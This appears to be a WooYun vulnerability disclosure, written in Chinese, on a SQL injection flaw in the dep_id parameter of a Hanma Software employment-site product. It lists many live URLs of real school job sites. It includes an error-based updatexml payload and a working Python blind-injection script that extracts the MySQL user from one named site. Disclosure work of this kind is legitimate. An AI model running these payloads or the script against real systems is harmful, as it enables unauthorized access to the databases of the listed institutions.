WooYun.org

http://www.hanmasoft.cn/  深圳市汉码软件技术有限公司

/index_module.php?module_name=department_allinfo&action=0&dep_id=9 其中dep_id存在注入

http://jy.qhnu.edu.cn/index_module.php?module_name=department_allinfo&action=0&dep_id=8
http://zsjy.hnmeida.com.cn/job/index_module.php?module_name=department_allinfo&action=0&dep_id=9
http://jyb.cdutetc.cn/index_module.php?module_name=department_allinfo&action=0&dep_id=9   mysql 5 以下版本
http://jyzd.lmu.cn/index_module.php?module_name=department_allinfo&action=0&dep_id=9      mysql 5 以下版本
http://jy.hnrpc.com/index_module.php?module_name=department_allinfo&action=0&dep_id=7 mysql 5 以下版本

http://jy.qhnu.edu.cn/index_module.php?module_name=department_allinfo&action=0&dep_id=8%20and%20updatexml(1,concat(0x3a,(select%20user())),1)

以 http://zsjy.hnmeida.com.cn/job/index_module.php?module_name=department_allinfo&action=0&dep_id=9 为例演示

http://jy.hnrpc.com/index_module.php?module_name=department_allinfo&action=0&dep_id=7

#encoding=gbk
import httplib
import time
import string
import sys
import random
import urllib
headers = {
    'User-Agent': 'Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1'
}
payloads = list(string.ascii_lowercase)
for i in range(0,10):
    payloads.append(str(i))
payloads += ['@','_', '.']
print 'start to retrive MySQL user:'
user = ''
for i in range(1,30):
    for payload in payloads:
        conn = httplib.HTTPConnection('jy.hnrpc.com', timeout=60)
        url = '/index_department_detail.php?btab=1&indexstyle=1&dep_id=7'
        s = ' and/**/1=if(ascii(substr((select/**/user()),%s,1))=%s,1,2)' % (i, ord(payload))
        conn.request(method='GET',
                     url=url+urllib.quote(s),
                     headers=headers)
        html_doc = conn.getresponse().read().decode('gbk')
		
        if html_doc.find(u'铁道车辆与机械学院') > 0:
            user += payload
            print '\n[in progress]', user
            break
        else:
            print '.',
print '\nMySQL user is', user

/index_department_detail.php?btab=**&indexstyle=**&dep_id=**  dep_id存在注入漏洞

failed query:update school_department set dep_clicktimes=dep_clicktimes+1 where dep_id=1\' and error is:You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '\'' at line 1

http://zsjy.hnmeida.com.cn/job/index_department_detail.php?btab=1&indexstyle=0&dep_id=1
http://jy.cqrz.edu.cn/index_department_detail.php?btab=1&indexstyle=1&dep_id=1
http://jyb.cdutetc.cn/index_department_detail.php?btab=1&indexstyle=1&dep_id=1
http://jy.qhnu.edu.cn/index_department_detail.php?btab=1&indexstyle=2&dep_id=13
http://jy.hnrpc.com/index_department_detail.php?btab=1&indexstyle=1&dep_id=10

1、













2、